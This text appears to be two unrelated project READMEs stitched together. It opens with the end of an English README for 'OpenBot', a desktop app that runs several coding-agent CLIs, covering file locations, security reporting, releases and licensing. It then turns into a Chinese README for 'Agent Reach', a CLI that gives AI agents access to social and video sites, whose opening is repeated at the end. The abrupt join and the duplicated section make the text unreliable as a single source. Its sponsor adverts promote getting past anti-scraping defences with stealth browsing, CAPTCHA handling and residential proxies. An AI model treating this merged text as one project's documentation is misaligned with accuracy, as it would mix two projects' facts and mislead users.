~/OpenBot/Agents/<agent-id> \u2014 one working directory per agent. A profile written before the bot-to-agent rename holds them under ~/OpenBot/Bots; the app moves them on first launch, and a workspace whose move could not run stays readable where it is.~/OpenBot/Shared \u2014 files intentionally shared between agents.~/OpenBot/Shared/Transfers \u2014 managed message snapshots and generated files. Each transfer has an .openbot-transfer.json manifest with ownership, recipients, size, and SHA-256 metadata.~/OpenBot/Downloads \u2014 embedded-browser downloads.userData/openbot.db \u2014 the canonical OpenBot event log and projections for agents, conversations, provider session bindings, queues, reactions, and attachment indexes.userData/legacy-backup-v1 \u2014 unchanged copies of imported bots.json and mailbox.json files, when these files existed before the SQLite migration.~/Library/Application Support/OpenBot/provider-runtimes \u2014 the provider CLIs OpenBot downloads and pins. One store for the whole computer, outside any one profile, so every development profile and the packaged app read the same download. --user-data-dir keeps the store in that directory instead, so an explicitly named profile stays self-contained.~/.codex \u2014 login and thread history managed exclusively by Codex CLI.~/.claude \u2014 login and session history managed exclusively by Claude CLI.~/.grok \u2014 login and session history managed exclusively by Grok CLI.~/.gemini (or $GEMINI_HOME) \u2014 login and session history managed exclusively by the Antigravity ACP server that Gemini uses.~/.cursor \u2014 login and session history managed exclusively by the Cursor CLI. A confined Cursor process keeps its settings in ~/.cursor/openbot-confined, so it never changes yours.~/.cline (or $CLINE_DIR) \u2014 login and session history managed exclusively by the Cline CLI.Deleting an agent removes its workspace, owned generated attachments, and deliveries addressed only to that agent. A transfer remains when another agent still uses the same message.
\nOpenBot keeps one stable local conversation when an agent changes between Codex, Grok, and Claude. Native provider session identifiers stay private and are used only to resume provider runtime state.
\nThe Electron renderer is never exposed as a public website. It communicates with local CLI processes over stdio. When the owner publishes OpenBot, its authenticated Team API stays on localhost. WebRTC protocol v3 carries RPC, events, and binary files to desktop and mobile clients. Expo Go hosts the mobile RTCPeerConnection in a hidden Expo DOM component, so mobile uses the same encrypted transport without a custom native development build. The account flow connects to the configured HTTPS Cloudflare API. The client stores only an encrypted OpenBot session token. One-time codes expire after 10 minutes and are stored only as hashes. A daily maintenance task removes expired or consumed authentication records from D1. The embedded browser uses a separate sandboxed Electron session and cannot access window.openbot or managed local attachments.
To run your own account service, Signal and TURN, see Self-hosted remote access.
\nTo trigger routines from external services, see Webhooks. Public webhook requests require the host to be online.
\nRead SECURITY.md before reporting a vulnerability. Do not put credentials, private files, conversation contents, or sensitive diagnostics in a public issue.
\nFull local access is an explicit current product decision, not a security boundary. Reports are especially useful when remote content can reach Electron privileges, managed attachment paths can escape their roots, IPC sender validation can be bypassed, or an agent can act outside the access described above.
\nReleases are tag-driven. bun run release:patch, release:minor, or release:major prepares the version and changelog. After review, commit, preflight, and tag the release; pushing the tag builds a signed and notarized macOS ARM64 and x64 release, a signed Windows x64 release, and unsigned Linux x64 and arm64 AppImages in GitHub Actions. After the release is published, the workflow pushes the Docker image to ghcr.io/nightly-labs/openbot. Installed builds check GitHub Releases for updates and expose download/restart controls in the account popover. Release signing secrets and the complete procedure are documented in docs/RELEASING.md.
See CONTRIBUTING.md. Before we merge a contribution, each author from outside the organization signs the Contributor Assignment Agreement, which assigns its copyright to Synthetify Labs. Community behavior is governed by the Code of Conduct.
\nCopyright 2026 Synthetify Labs sp\u00f3\u0142ka z ograniczon\u0105 odpowiedzialno\u015bci\u0105.
\nLicensed under the PolyForm Noncommercial License 1.0.0. You may use, modify, and distribute the code for permitted noncommercial purposes. Commercial use requires a separate license from the copyright owner. For a commercial license, contact licenses@openbot.run. Versions up to and including 0.1.11 remain available under Apache-2.0. See NOTICE for attribution and third-party notices.
\nOpenBot is an independent source-available project and is not affiliated with, endorsed by, or sponsored by OpenAI. OpenAI, ChatGPT, and Codex are used only to describe compatibility with their respective products and services.
\nFor one native Standard user per tenant, install the normal OpenBot DMG and the optional OpenBot-Host-<VERSION>-arm64.pkg from the same release. The Host package provides sudo openbot-host setup --create-user client-acme --create-user client-bravo and sudo openbot-host verify. sudo openbot-host status [--json] and sudo openbot-host watch show the update phase, the staged version, and each tenant's work state. No Git checkout, Bun, or compilation is required on the host. Normal desktop users need only the DMG. See the host deployment guide for existing-user enrollment, password handling, package upgrades, and required target-host checks.
Give your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu \u2014 one CLI, zero API fees.
\u8ba9 AI Agent \u591f\u5f97\u7740\u5b83\u81ea\u5df1\u4e0a\u4e0d\u53bb\u7684\u4e92\u8054\u7f51
\n\u767b\u5f55\u5899\u540e\u7684\u5e73\u53f0\u3001\u89c6\u9891\u91cc\u7684\u5185\u5bb9\u3001\u4e2d\u6587\u5e73\u53f0\u3001\u5e72\u51c0\u7684\u7ed3\u6784\u5316\u6570\u636e\uff0c\u4e00\u6761\u547d\u4ee4\u62ff\u5230
\n
![\"MIT](\"https://img.shields.io/badge/License-MIT-blue.svg?style=for-the-badge\"){kind=icon}
![\"Python](\"https://img.shields.io/badge/Python-3.10+-green.svg?style=for-the-badge&logo=python&logoColor=white\"){kind=icon}
![\"GitHub](\"https://img.shields.io/github/stars/Panniantong/agent-reach?style=for-the-badge\")
\u5feb\u901f\u5f00\u59cb \u00b7 English
\n ![\"\u52a0\u5165](\"https://img.shields.io/badge/Discord-%E5%8A%A0%E5%85%A5%E7%A4%BE%E5%8C%BA-5865F2?style=for-the-badge&logo=discord&logoColor=white\"){kind=icon}
\ud83d\udcac \u6709\u95ee\u9898\u3001\u60f3\u8981\u65b0\u5e73\u53f0\u3001\u6216\u8005\u60f3\u770b\u770b\u522b\u4eba\u600e\u4e48\u7528\uff1f\u6765 Discord \u804a\u804a\u3002
\n\n \n\n
![\"Bright](\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/brightdata.png\") | \n Bright Data \u4eae\u6570\u636e | \u5168\u7403\u9886\u5148\u7684\u6570\u636e\u91c7\u96c6\u57fa\u7840\u8bbe\u65bd\u3002Scraper Studio \u667a\u80fd\u722c\u53d6\u5668\u8ba9\u4f60\u7528\u81ea\u7136\u8bed\u8a00\u4e00\u952e\u751f\u6210\u722c\u866b\uff0c\u65e0\u9700\u5199\u4ee3\u7801\uff1bUnlocker \u7f51\u7ad9\u89e3\u9501\u5668\u81ea\u52a8\u7ed5\u8fc7\u53cd\u722c\u866b\u673a\u5236\uff0c\u8f7b\u677e\u91c7\u96c6 Amazon\u3001Google\u3001LinkedIn\u3001TikTok \u7b49\u590d\u6742\u7f51\u7ad9\u6570\u636e\u3002\u5185\u7f6e 350+ \u73b0\u6210 API \u96c6\u6210\uff0c\u8986\u76d6\u7535\u5546\u3001\u793e\u4ea4\u3001\u641c\u7d22\u3001\u5730\u56fe\u7b49\u5168\u54c1\u7c7b\u6570\u636e\u6e90\uff0c\u76f4\u63a5\u8c03\u7528\u5f00\u7bb1\u5373\u7528\u30021.5 \u4ebf+ \u5168\u7403\u771f\u5b9e\u4f4f\u5b85 IP \u4fdd\u969c\u91c7\u96c6\u7a33\u5b9a\u6027\u3002\u6bcf\u6708\u514d\u8d39 5,000 \u6b21\u8bf7\u6c42\uff0c\u7acb\u5373\u514d\u8d39\u6ce8\u518c\u3002 | \n
![\"Rapidproxy\"](\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/rapidproxy.png\") | \n RapidProxy \u662f\u4e13\u4e3a\u5f00\u53d1\u8005\u6253\u9020\u7684\u6570\u636e\u91c7\u96c6\u4ee3\u7406\u89e3\u51b3\u65b9\u6848\uff0c\u63d0\u4f9b\u7a33\u5b9a\u53ef\u9760\u7684\u4f4f\u5b85\u4ee3\u7406\u670d\u52a1\u3002\u62e5\u6709 9000 \u4e07+ \u5168\u7403\u4f4f\u5b85 IP\uff0c\u8986\u76d6 200+ \u56fd\u5bb6\u548c\u5730\u533a\uff0c\u652f\u6301\u667a\u80fd\u8f6e\u6362\u4e0e\u7cbe\u51c6\u5730\u7406\u5b9a\u4f4d\uff0c\u53ef\u7528\u4e8e\u7f51\u9875\u6293\u53d6\u3001AI \u6570\u636e\u91c7\u96c6\u4e0e\u8bad\u7ec3\u3001SEO \u76d1\u63a7\u3001\u7535\u5546\u6570\u636e\u5206\u6790\u7b49\u573a\u666f\uff0c\u5e2e\u52a9\u63d0\u5347\u6570\u636e\u91c7\u96c6\u6548\u7387\u4e0e\u7a33\u5b9a\u6027\u3002\u652f\u6301 Playwright\u3001Selenium\u3001Puppeteer \u7b49\u4e3b\u6d41\u81ea\u52a8\u5316\u6846\u67b6\uff0c\u6d41\u91cf\u6c38\u4e45\u6709\u6548\uff0c\u4ef7\u683c\u4f4e\u81f3 $0.55/GB\uff0c\u652f\u6301\u514d\u8d39\u6d4b\u8bd5\u3002 | \n
![\"BrowserAct\"](\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/browseract.png\") | \n BrowserAct \u652f\u6301\u4ece Amazon\u3001LinkedIn\u3001X\u3001Google Maps \u7b49\u590d\u6742\u7f51\u7ad9\u63d0\u53d6\u4f60\u9700\u8981\u7684\u4efb\u610f\u6570\u636e\u3002\u4f60\u53ea\u9700\u7528\u81ea\u7136\u8bed\u8a00\u63cf\u8ff0\u6293\u53d6\u9700\u6c42\uff0cAgent \u5c31\u4f1a\u57fa\u4e8e\u771f\u5b9e\u6d4f\u89c8\u5668\u81ea\u52a8\u63a2\u7d22\u5e76\u6d4b\u8bd5\u9875\u9762\u6d41\u7a0b\uff0c\u751f\u6210\u53ef\u9760\u3001\u53ef\u590d\u7528\u7684\u6570\u636e\u91c7\u96c6 Bot\uff0c\u5e76\u8fd4\u56de\u7ed3\u6784\u5316\u7ed3\u679c\u3002\u65e0\u9700\u624b\u52a8\u6784\u5efa\u722c\u866b\uff0c\u65e0\u9700\u7f16\u5199\u4ee3\u7801\u3002BrowserAct \u5185\u7f6e\u9690\u8eab\u6d4f\u89c8\u3001\u9a8c\u8bc1\u7801\u5904\u7406\u548c\u9ad8\u8d28\u91cf\u4f4f\u5b85\u4ee3\u7406\uff0c\u5e2e\u52a9\u4f60\u66f4\u7a33\u5b9a\u5730\u5b8c\u6210\u590d\u6742\u7f51\u9875\u6570\u636e\u91c7\u96c6\u3002\u65b0\u7528\u6237\u6ce8\u518c\u5373\u9001 1000 \u79ef\u5206\uff0c\u7acb\u5373\u514d\u8d39\u8bd5\u7528\u3002 | \n
![\"\u817e\u8baf\u4e91](\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/tencent-cloud.svg?sanitize=true\") | \n \u5728\u817e\u8baf\u4e91 Lighthouse \u79d2\u7ea7\u90e8\u7f72 OpenClaw \u5168\u80fd\u52a9\u624b\uff0c\u53ef\u901a\u8fc7\u5bf9\u8bdd\u4e1d\u6ed1\u63a5\u5165 Agent Reach\uff0c\u7ed9\u4f60\u7684 OpenClaw \u4e00\u952e\u88c5\u4e0a\u4e92\u8054\u7f51\u80fd\u529b\u3002 | \n
![\"CoreClaw\"](\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/coreclaw.png\") | \n CoreClaw | \u7f51\u9875\u6293\u53d6\u5e73\u53f0\u4e0e\u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0cCoreClaw \u63d0\u4f9b 100+ \u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0c\u652f\u6301 Amazon\u3001TikTok\u3001Google Maps\u3001Instagram\u3001Facebook\u3001YouTube \u7b49\u5e73\u53f0\uff0c\u65e0\u9700\u4ee3\u7801\uff0c\u652f\u6301 JSON/CSV \u5bfc\u51fa\uff0c\u4ec5\u5bf9\u6210\u529f\u7ed3\u679c\u8ba1\u8d39\u3002\u514d\u8d39$3\u6d4b\u8bd5\uff01 | \n
![\"\u661f\u56fe](\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/astraflow.png\") | \n \u4f18\u523b\u5f97\u661f\u56feastraflow\u5927\u6a21\u578b\uff0c\u652f\u6301200+\u6a21\u578b\u4e00\u952e\u8c03\u7528\uff1a\u5185\u7f6e Kimi K3\u3001DeepSeek V4/V3\u3001Qwen 3\u3001GLM5.2\u3001happyhorse\u7b49\u5168\u7403\u9886\u5148\u5f00\u6e90\u5927\u6a21\u578b\uff0c\u65e0\u9700\u81ea\u8bad\uff0c\u5f00\u7bb1\u5373\u7528 | \n
Agent Reach \u8ba9\u4f60\u7684 Agent \u771f\u6b63\u8fde\u4e0a\u4e92\u8054\u7f51\uff0c\u7528\u4e0a\u5b83\u81ea\u5df1\u591f\u4e0d\u7740\u7684\u5e73\u53f0\u548c\u80fd\u529b\u3002
\nClaude Code\u3001Codex\u3001Hermes Agent\u3001OpenClaw \u8fd9\u7c7b CLI Agent \u81ea\u5e26\u641c\u7d22\u548c\u7f51\u9875\u8bfb\u53d6\uff0c\u4f46\u4e0b\u9762\u8fd9\u4e9b\u5b83\u4eec\u57fa\u672c\u591f\u4e0d\u7740\uff1a
\nAgent Reach \u628a\u8fd9\u4e9b\u5e73\u53f0\u80cc\u540e\u7684\u5de5\u5177\u66ff\u4f60\u88c5\u597d\u3001\u6d4b\u597d\uff0cAgent \u4e00\u6761\u547d\u4ee4\u5c31\u80fd\u7528\uff1a
\nagent-reach channels # \u6709\u54ea\u4e9b\u6e20\u9053\u3001\u6bcf\u4e2a\u6e20\u9053\u80fd\u505a\u4ec0\u4e48\nagent-reach bilibili search \"\u5927\u6a21\u578b\" # agent-reach <\u6e20\u9053> <\u52a8\u4f5c> [\u53c2\u6570]\nagent-reach read https://www.v2ex.com/t/123 # \u6309\u94fe\u63a5\u81ea\u52a8\u9009\u6e20\u9053\n\u4e0b\u8868\u662f\u5f53\u524d\u7248\u672c\u7684\u60c5\u51b5\u3002
\n| \u6e20\u9053 | \n\u7b49\u7ea7 | \n\u80fd\u505a\u4ec0\u4e48 | \n\u9700\u8981\u4ec0\u4e48 | \n
|---|---|---|---|
| bilibili | \n\u9ed8\u8ba4 | \n\u641c\u7d22\u3001\u89c6\u9891\u4fe1\u606f\u3001\u70ed\u95e8\u3001\u5b57\u5e55 | \n\u65e0\uff1b\u5b57\u5e55\u9700\u8981\u767b\u5f55\uff08\u626b\u7801\uff09 | \n
| v2ex | \n\u9ed8\u8ba4 | \n\u70ed\u95e8\u3001\u8282\u70b9\u3001\u5e16\u5b50\u548c\u56de\u590d\u3001\u7528\u6237 | \n\u65e0 | \n
| github | \n\u9ed8\u8ba4 | \n\u641c\u4ed3\u5e93\u3001\u8bfb\u4ed3\u5e93/README\u3001\u8bfb issue \u548c PR\uff08\u542b\u8bc4\u8bba\uff09 | \n\u65e0 | \n
| youtube | \n\u9ed8\u8ba4 | \n\u89c6\u9891\u4fe1\u606f\u3001\u641c\u7d22\u3001\u5b57\u5e55\u3001\u8bed\u97f3\u8f6c\u6587\u5b57 | \n\u65e0\uff1b\u8f6c\u6587\u5b57\u9700\u8981 Groq \u6216 OpenAI Key | \n
| web | \n\u9ed8\u8ba4 | \n\u7f51\u9875\u641c\u7d22\u3001\u7f51\u9875\u9605\u8bfb\uff08\u4fdd\u5e95\uff09 | \n\u65e0 | \n
| xiaohongshu | \n\u53ef\u9009 | \n\u641c\u7b14\u8bb0\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba | \n\u767b\u5f55 | \n
| xueqiu | \n\u53ef\u9009 | \n\u5b9e\u65f6\u884c\u60c5\u3001\u641c\u80a1\u7968\u3001\u70ed\u5e16\u3001\u70ed\u80a1 | \n\u884c\u60c5\u4e0d\u7528\u767b\u5f55\uff1b\u70ed\u5e16\u3001\u70ed\u80a1\u8981\u767b\u5f55 | \n
| boss | \n\u53ef\u9009 | \n\u641c\u804c\u4f4d\u548c JD | \n\u767b\u5f55 | \n
| xiaoyuzhou | \n\u53ef\u9009 | \n\u64ad\u5ba2\u8f6c\u6587\u5b57 | \nGroq Key | \n
| \u53ef\u9009 | \n\u641c\u804c\u4f4d\u3001\u8bfb\u804c\u4f4d\u8be6\u60c5 | \n\u516c\u5f00\u804c\u4f4d\u4e0d\u7528\u767b\u5f55\uff1b\u7ad9\u5185\u641c\u7d22\u8981\u767b\u5f55 | \n|
| \u53ef\u9009 | \n\u641c\u5e16\u5b50\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba\u3001\u770b\u7248\u5757 | \n\u767b\u5f55 | \n|
| \u5b9e\u9a8c | \n\u641c\u63a8\u6587\u3001\u7528\u6237\u8d44\u6599\u3001\u7528\u6237\u63a8\u6587\u3001\u8bfb\u63a8\u6587\u4e32 | \n\u767b\u5f55 | \n|
| \u5b9e\u9a8c | \n\u641c\u7d22\u3001\u4e3b\u9875\u8d44\u6599 | \n\u767b\u5f55 | \n|
| \u5b9e\u9a8c | \n\u641c\u7528\u6237\u3001\u4e3b\u9875\u8d44\u6599\u3001\u7528\u6237\u5e16\u5b50 | \n\u767b\u5f55 | \n
\u628a\u8fd9\u53e5\u8bdd\u53d1\u7ed9\u4f60\u7684 Agent\uff1a
\n\u5e2e\u6211\u5b89\u88c5 Agent Reach\uff1ahttps://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/install.md\n\u65e0\u8bba\u662f\u5b89\u88c5\u8fd8\u662f\u5347\u7ea7\uff0c\u90fd\u53ea\u9700\u8981\u8fd9\u4e00\u6761\u547d\u4ee4\u5c31\u884c\u4e86\u3002
\n\u5269\u4e0b\u7684 Agent \u81ea\u5df1\u505a\u5b8c\u3002\u8fc7\u7a0b\u4e2d\u4f60\u53ef\u80fd\u4f1a\u88ab\u95ee\u5230\uff1a
\n\u5173\u4e8e\u767b\u5f55\uff1a\u90e8\u5206\u5e73\u53f0\u4f1a\u76f4\u63a5\u590d\u7528\u4f60\u7535\u8111\u4e0a\u5df2\u6709\u7684\u767b\u5f55\u3002\u60f3\u6362\u6210\u67d0\u4e2a\u7279\u5b9a\u8d26\u53f7\uff08\u6bd4\u5982\u5c0f\u53f7\uff09\uff0c\u8ddf Agent \u8bf4\u4e00\u58f0\u5c31\u884c\u3002Agent \u4ece\u4e0d\u66ff\u4f60\u767b\u5f55\uff0c\u4e5f\u4e0d\u4f1a\u8981\u4f60\u7684\u5bc6\u7801\u3002
\n\n\n\u26a0\ufe0f PyPI \u4e0a\u53eb
\nagent-reach\u7684\u5305\u4e0d\u662f\u672c\u9879\u76ee\uff0c\u8bf7\u52ff\u4ece PyPI \u5b89\u88c5\uff0c\u53ea\u7528 install.md \u91cc\u7684 GitHub \u5730\u5740\u3002
Agent Reach \u88c5\u7684\u6240\u6709\u4e1c\u897f\uff08\u5404\u6e20\u9053\u7684\u5de5\u5177\u3001\u767b\u5f55\u3001\u8bbe\u7f6e\uff09\u90fd\u653e\u5728\u4f60\u7535\u8111\u4e0a\u540c\u4e00\u4e2a\u6587\u4ef6\u5939\u91cc\uff08~/.agent-reach/\uff09\uff0c\u4e0d\u6563\u843d\u5230\u522b\u5904\u3002\u6240\u4ee5\u5347\u7ea7\u3001\u7ba1\u7406\u3001\u5220\u9664\u90fd\u5f88\u7701\u4e8b\uff0c\u4e00\u53e5\u8bdd\u5c31\u884c\u3002
\u76f4\u63a5\u7528\u5927\u767d\u8bdd\u8ddf Agent \u8bf4\uff1a
\n| \u4f60\u8bf4 | \n\u5b83\u4f1a\u505a\u4ec0\u4e48 | \n
|---|---|
| \"\u770b\u770b Agent Reach \u72b6\u6001\" | \n\u544a\u8bc9\u4f60\u6bcf\u4e2a\u6e20\u9053\u73b0\u5728\u80fd\u4e0d\u80fd\u7528\uff0c\u54ea\u4e9b\u662f\u4e0a\u6b21\u8fd8\u597d\u3001\u73b0\u5728\u574f\u4e86 | \n
| \"\u52a0\u4e0a\u5c0f\u7ea2\u4e66\" / \"\u53bb\u6389\u5c0f\u7ea2\u4e66\" | \n\u5f00\u542f\u5e76\u88c5\u597d\u5b83\u9700\u8981\u7684\u4e00\u5207 / \u5173\u6389\u5b83\uff0c\u6e05\u6389\u5b83\u7684\u767b\u5f55\u548c\u4e13\u7528\u5de5\u5177 | \n
| \"\u5c0f\u7ea2\u4e66\u767b\u5f55\u8fc7\u671f\u4e86\" / \"\u6362\u4e2a\u8d26\u53f7\" / \"\u9000\u51fa\u767b\u5f55\" | \n\u6253\u5f00\u767b\u5f55\u7a97\u53e3\uff0c\u7531\u4f60\u672c\u4eba\u767b\u5f55 / \u6e05\u6389\u8fd9\u4e2a\u7f51\u7ad9\u7684\u767b\u5f55 | \n
| \"\u5347\u7ea7 Agent Reach\" | \n\u4e00\u6b21\u66f4\u65b0\u7a0b\u5e8f\u548c\u5404\u6e20\u9053\u7684\u5de5\u5177\uff0c\u5e76\u544a\u8bc9\u4f60\u8fd8\u9700\u8981\u505a\u4ec0\u4e48 | \n
| \"\u5378\u8f7d Agent Reach\" | \n\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220 | \n
| \"\u8ba9\u53e6\u4e00\u4e2a AI \u4e5f\u80fd\u7528\" | \n\u7ed9\u90a3\u4e2a AI \u4e5f\u653e\u4e00\u4efd\u4f7f\u7528\u8bf4\u660e | \n
\u51fa\u4e86\u95ee\u9898\uff0cAgent \u4f1a\u544a\u8bc9\u4f60\u662f\u54ea\u4e2a\u5e73\u53f0\u3001\u4ec0\u4e48\u539f\u56e0\u3001\u4e0b\u4e00\u6b65\u600e\u4e48\u505a\u3002\u5e38\u89c1\u95ee\u9898\u89c1 troubleshooting.md\u3002
\n\u6bcf\u4e2a\u5e73\u53f0\u7684\u6bcf\u4e2a\u52a8\u4f5c\u90fd\u6709\u4e00\u4e2a\u6309\u987a\u5e8f\u5c1d\u8bd5\u7684\u5de5\u5177\u5217\u8868\u3002\u6bd4\u5982\u8bfb B\u7ad9\u89c6\u9891\u5148\u7528 bili-cli\uff0c\u5931\u8d25\u4e86\u81ea\u52a8\u6362 B\u7ad9\u516c\u5f00\u63a5\u53e3\uff1b\u8bfb\u7f51\u9875\u5148\u7528 Jina Reader\uff0c\u518d\u7528 Exa\u3002
\nflowchart LR\n A[Agent] -->|agent-reach \u6e20\u9053 \u52a8\u4f5c| B[Agent Reach]\n B --> C{\u6309\u987a\u5e8f\u5c1d\u8bd5}\n C -->|\u9996\u9009| D[\u4e0a\u6e38\u5de5\u5177 1]\n C -->|\u5931\u8d25\u65f6\u5907\u9009| E[\u4e0a\u6e38\u5de5\u5177 2]\n D --> F[\u7ed3\u679c]\n E --> F\n F --> A\n\u5e73\u53f0\u6539\u7248\u3001\u5de5\u5177\u5931\u6548\u662f\u5e38\u6001\u3002\u6362\u5de5\u5177\u53ea\u662f\u8c03\u6574\u8fd9\u4e2a\u5217\u8868\uff0cAgent \u7684\u7528\u6cd5\u4e0d\u53d8\u3002
\nagent-reach configure groq-key \u586b\u5199\u3002\u8ddf Agent \u8bf4\"\u5378\u8f7d Agent Reach\"\u3002\u5b83\u4f1a\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220\u3002\u53ea\u5220 Agent Reach \u81ea\u5df1\u88c5\u7684\u4e1c\u897f\uff0c\u4f60\u7684\u5176\u4ed6\u6587\u4ef6\u548c\u6d4f\u89c8\u5668\u90fd\u4e0d\u52a8\u3002\u6700\u540e\u5b83\u4f1a\u544a\u8bc9\u4f60\u600e\u4e48\u5220\u6389\u7a0b\u5e8f\u672c\u8eab\u3002
\n\u8fd9\u4e2a\u9879\u76ee\u6211\u81ea\u5df1\u6bcf\u5929\u5728\u7528\uff0c\u6240\u4ee5\u6211\u4f1a\u4e00\u76f4\u7ef4\u62a4\u5b83\u3002
\nStar \u4e00\u4e0b\uff0c\u4e0b\u6b21\u9700\u8981\u7684\u65f6\u5019\u80fd\u627e\u5230\u3002\u2b50
\nOpenCLI \u00b7 bili-cli \u00b7 boss-agent-cli \u00b7 yt-dlp \u00b7 Jina Reader \u00b7 Exa
\n\u6709\u76f8\u5173\u5408\u4f5c\uff0c\u6216\u8005\u60f3\u52a0\u4ea4\u6d41\u7fa4\uff0c\u52a0\u6211\u5fae\u4fe1\uff0c\u6216\u76f4\u63a5\u52a0\u5165 Discord \u793e\u533a\uff1a
\n ![\"WeChat](\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/wechat-group-qr.jpg\")
\n\nBug \u53cd\u9988\u548c\u529f\u80fd\u8bf7\u6c42\u8bf7\u7528 GitHub Issues\uff0c\u66f4\u5bb9\u6613\u8ddf\u8e2a\u3002
\n
Agent Reach \u6ca1\u6709\u5b98\u65b9\u4ee3\u5e01\u3001\u5e01\u3001\u6295\u8d44\u4ea7\u54c1\u3001\u9886\u53d6\u624b\u7eed\u8d39\u6d3b\u52a8\u3001\u94b1\u5305\u8fde\u63a5\uff0c\u4e5f\u6ca1\u6709 Solana/Pump.fun \u9879\u76ee\u3002\u4efb\u4f55\u501f\u7528 Agent Reach \u540d\u5b57\u3001GitHub \u5730\u5740\u6216\u4f5c\u8005\u8eab\u4efd\u7684\u52a0\u5bc6\u9879\u76ee\u90fd\u4e0e\u672c\u4ed3\u5e93\u65e0\u5173\uff0c\u8bf7\u52ff\u636e\u6b64\u8fde\u63a5\u94b1\u5305\u6216\u9886\u53d6\u4efb\u4f55\u8d39\u7528\u3002
\nAgent Skills Hub \u2014 \u627e Claude \u6280\u80fd\u548c MCP \u670d\u52a1\u5668\uff0c\u4e0d\u7528\u731c\u54ea\u4e2a\u5b89\u5168\uff1a133,000+ \u4e2a\u6761\u76ee\u5168\u90e8\u5b89\u5168\u5206\u7ea7\u3001\u8d28\u91cf\u8bc4\u5206\uff0c\u6bcf 8 \u5c0f\u65f6\u5237\u65b0\u3002
\nAtomGit \u955c\u50cf \u2014 Agent Reach \u7684 AtomGit \u540c\u6b65\u955c\u50cf\uff0c\u4fbf\u4e8e\u56fd\u5185\u8bbf\u95ee\u4e0e\u514b\u9686\u3002
\nGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu \u2014 one CLI, zero API fees.
\u8ba9 AI Agent \u591f\u5f97\u7740\u5b83\u81ea\u5df1\u4e0a\u4e0d\u53bb\u7684\u4e92\u8054\u7f51
\n\u767b\u5f55\u5899\u540e\u7684\u5e73\u53f0\u3001\u89c6\u9891\u91cc\u7684\u5185\u5bb9\u3001\u4e2d\u6587\u5e73\u53f0\u3001\u5e72\u51c0\u7684\u7ed3\u6784\u5316\u6570\u636e\uff0c\u4e00\u6761\u547d\u4ee4\u62ff\u5230
\n
\u5feb\u901f\u5f00\u59cb \u00b7 English
\n
\ud83d\udcac \u6709\u95ee\u9898\u3001\u60f3\u8981\u65b0\u5e73\u53f0\u3001\u6216\u8005\u60f3\u770b\u770b\u522b\u4eba\u600e\u4e48\u7528\uff1f\u6765 Discord \u804a\u804a\u3002
\n\n \n\n
| \n Bright Data \u4eae\u6570\u636e | \u5168\u7403\u9886\u5148\u7684\u6570\u636e\u91c7\u96c6\u57fa\u7840\u8bbe\u65bd\u3002Scraper Studio \u667a\u80fd\u722c\u53d6\u5668\u8ba9\u4f60\u7528\u81ea\u7136\u8bed\u8a00\u4e00\u952e\u751f\u6210\u722c\u866b\uff0c\u65e0\u9700\u5199\u4ee3\u7801\uff1bUnlocker \u7f51\u7ad9\u89e3\u9501\u5668\u81ea\u52a8\u7ed5\u8fc7\u53cd\u722c\u866b\u673a\u5236\uff0c\u8f7b\u677e\u91c7\u96c6 Amazon\u3001Google\u3001LinkedIn\u3001TikTok \u7b49\u590d\u6742\u7f51\u7ad9\u6570\u636e\u3002\u5185\u7f6e 350+ \u73b0\u6210 API \u96c6\u6210\uff0c\u8986\u76d6\u7535\u5546\u3001\u793e\u4ea4\u3001\u641c\u7d22\u3001\u5730\u56fe\u7b49\u5168\u54c1\u7c7b\u6570\u636e\u6e90\uff0c\u76f4\u63a5\u8c03\u7528\u5f00\u7bb1\u5373\u7528\u30021.5 \u4ebf+ \u5168\u7403\u771f\u5b9e\u4f4f\u5b85 IP \u4fdd\u969c\u91c7\u96c6\u7a33\u5b9a\u6027\u3002\u6bcf\u6708\u514d\u8d39 5,000 \u6b21\u8bf7\u6c42\uff0c\u7acb\u5373\u514d\u8d39\u6ce8\u518c\u3002 | \n
| \n RapidProxy \u662f\u4e13\u4e3a\u5f00\u53d1\u8005\u6253\u9020\u7684\u6570\u636e\u91c7\u96c6\u4ee3\u7406\u89e3\u51b3\u65b9\u6848\uff0c\u63d0\u4f9b\u7a33\u5b9a\u53ef\u9760\u7684\u4f4f\u5b85\u4ee3\u7406\u670d\u52a1\u3002\u62e5\u6709 9000 \u4e07+ \u5168\u7403\u4f4f\u5b85 IP\uff0c\u8986\u76d6 200+ \u56fd\u5bb6\u548c\u5730\u533a\uff0c\u652f\u6301\u667a\u80fd\u8f6e\u6362\u4e0e\u7cbe\u51c6\u5730\u7406\u5b9a\u4f4d\uff0c\u53ef\u7528\u4e8e\u7f51\u9875\u6293\u53d6\u3001AI \u6570\u636e\u91c7\u96c6\u4e0e\u8bad\u7ec3\u3001SEO \u76d1\u63a7\u3001\u7535\u5546\u6570\u636e\u5206\u6790\u7b49\u573a\u666f\uff0c\u5e2e\u52a9\u63d0\u5347\u6570\u636e\u91c7\u96c6\u6548\u7387\u4e0e\u7a33\u5b9a\u6027\u3002\u652f\u6301 Playwright\u3001Selenium\u3001Puppeteer \u7b49\u4e3b\u6d41\u81ea\u52a8\u5316\u6846\u67b6\uff0c\u6d41\u91cf\u6c38\u4e45\u6709\u6548\uff0c\u4ef7\u683c\u4f4e\u81f3 $0.55/GB\uff0c\u652f\u6301\u514d\u8d39\u6d4b\u8bd5\u3002 | \n
